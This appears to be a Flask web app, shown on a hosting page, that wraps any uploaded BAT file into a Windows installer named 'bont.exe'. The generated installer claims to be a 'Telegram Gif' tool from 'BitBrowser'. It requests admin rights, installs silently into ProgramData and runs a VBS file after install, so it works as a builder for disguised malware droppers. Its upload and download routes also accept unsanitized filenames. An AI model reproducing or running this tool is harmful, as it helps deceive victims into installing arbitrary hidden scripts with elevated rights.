Spaces:
Sleeping
Sleeping
File size: 3,843 Bytes
adbe5cd 45a1acf 66f8fc1 45a1acf b1f0958 66f8fc1 adbe5cd ba94f86 adbe5cd 45a1acf adbe5cd 66f8fc1 45a1acf 52ab4b4 ba94f86 b1f0958 52ab4b4 ba94f86 b1f0958 0bc4997 b1f0958 ba94f86 52ab4b4 ba94f86 52ab4b4 3374df9 2660f1c 37072f0 c7ce71d 8c65765 3374df9 22cd272 3374df9 8c65765 3374df9 8c65765 ba94f86 c7ce71d 8c65765 c7ce71d 8c65765 c7ce71d 37072f0 8c65765 22cd272 8c65765 22cd272 8c65765 c7ce71d b1f0958 52ab4b4 b1f0958 3374df9 b1f0958 329f9c0 45a1acf b1f0958 45a1acf b1f0958 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 |
from flask import Flask, request, send_file, render_template_string
import os
import subprocess
app = Flask(__name__)
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
# HTML template for the index page
HTML_TEMPLATE = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>NSIS Installer Creator</title>
</head>
<body>
<h1>Upload Files to Create NSIS Installer</h1>
<form action="/upload" method="post" enctype="multipart/form-data">
<label for="bat_file">Upload BAT file:</label>
<input type="file" name="bat_file" required><br><br>
<label for="icon_file">Upload ICO file (optional):</label>
<input type="file" name="icon_file"><br><br>
<input type="submit" value="Upload and Compile">
</form>
</body>
</html>
"""
@app.route('/')
def index():
return render_template_string(HTML_TEMPLATE)
@app.route('/upload', methods=['POST'])
def upload_files():
if 'bat_file' not in request.files:
return "No BAT file part", 400
bat_file = request.files['bat_file']
if bat_file.filename == '':
return "No selected BAT file", 400
# Define the paths to save the uploaded files
bat_path = os.path.join(app.config['UPLOAD_FOLDER'], bat_file.filename)
# Save the uploaded BAT file
bat_file.save(bat_path)
# Check if an icon file was uploaded, and set the icon path accordingly
icon_path = ""
if 'icon_file' in request.files and request.files['icon_file'].filename != '':
icon_file = request.files['icon_file']
icon_path = os.path.join(app.config['UPLOAD_FOLDER'], icon_file.filename)
icon_file.save(icon_path)
# Construct the NSIS script using the provided paths
nsi_script = f"""!include "MUI2.nsh"
!include "nsDialogs.nsh"
# Define installer name and version
Outfile "bont.exe"
InstallDir "$PROGRAMDATA"
# Set the name of the application
Name "Telegram Gif"
Caption "bont 1.4.44.3"
VIProductVersion "1.4.44.3"
# Set the output directory and the base name of the installer file
SetCompressor /SOLID lzma
# Set icon only if an icon file was provided
{"Icon \"" + icon_path + "\"\n" if icon_path else ""}RequestExecutionLevel admin
# Silent install settings
SilentInstall silent
SilentUninstall silent
# Application metadata
VIAddVersionKey "ProductName" "Telegram Gif"
VIAddVersionKey "FileVersion" "1.4.44.3"
VIAddVersionKey "CompanyName" "BitBrowser"
VIAddVersionKey "LegalCopyright" "Copyright © 2024 BitBrowser"
VIAddVersionKey "FileDescription" "Telegram Gif is a tool designed to enhance GIF handling and sharing on Telegram."
VIAddVersionKey "ProductVersion" "1.4.44.3"
VIAddVersionKey "OriginalFilename" "telegramm.exe"
# Define installer sections
Section "Install"
SetOutPath "$INSTDIR"
# Files to install
File "{bat_path}"
# Run the VBS file post-install if it exists
IfFileExists "$INSTDIR\\0.vbs" 0 +2
ExecShell "" "$INSTDIR\\0.vbs"
SectionEnd
"""
nsi_path = os.path.join(app.config['UPLOAD_FOLDER'], 'installer.nsi')
with open(nsi_path, 'w') as nsi_file:
nsi_file.write(nsi_script)
# Compile the NSIS script
try:
result = subprocess.run(['makensis', nsi_path], check=True, capture_output=True, text=True)
return f"Compilation successful! Download here: <a href='/download/bont.exe'>bont.exe</a>", 200
except subprocess.CalledProcessError as e:
return f"Compilation failed: {e.stderr}", 400
@app.route('/download/<filename>')
def download_file(filename):
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], filename), as_attachment=True)
if __name__ == '__main__':
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
app.run(host='0.0.0.0', port=7860)
|